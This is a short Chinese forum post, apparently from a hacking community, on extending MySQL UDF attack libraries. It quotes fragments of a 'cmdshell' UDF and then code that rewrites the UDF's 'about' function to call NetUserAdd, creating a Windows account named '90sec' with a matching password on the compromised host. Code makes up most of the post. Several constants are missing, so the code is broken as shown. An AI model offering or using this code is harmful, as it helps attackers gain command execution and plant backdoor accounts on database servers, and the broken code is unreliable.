一点关于UDF的发散思路

相信各位牛对UDF都不会陌生，看论坛叶总共享了一份UDF源码，以前一直没看过，于是看了看，写了这篇垃圾文章，再此抛砖引玉了，望大牛勿笑！
以cmdshell函数为例

cmdshell函数大家都不会陌生

GetSystemDirectory(ShellPath,MAX_PATH-);

strcat(ShellPath,"cmd.exe");

GetEnvironmentVariable("temp",TempFilePath,MAX_PATH-);

strcat(TempFilePath,"2351213.tmp");

这里调用的是system32下的cmd，如果删除了那么函数就会失败，我们如何来发散一下呢
其实工具只是一个辅助，看下面一段简单代码：
这是一段用API函数添加普通用户的代码，我将原先的about函数稍微修改一下，替换为下面的代码

NET_API_STATUS ret=;

DWORD dwErr=;

USER_INFO_1 oUserInfo;

ZeroMemory(&oUserInfo,sizeof(oUserInfo));

oUserInfo.usri1_name=L"90sec";

oUserInfo.usri1_password=L"90sec";

oUserInfo.usri1_priv=USER_PRIV_USER;

oUserInfo.usri1_flags=UF_NORMAL_ACCOUNT;

ret=NetUserAdd(NULL,,(LPBYTE)(&oUserInfo),&dwErr);

if(ret== NERR_Success)

{

initid->ptr=(char *)malloc();

strcpy(initid->ptr,"执行成功rn");

*length=strlen(initid->ptr);

return initid->ptr;

}
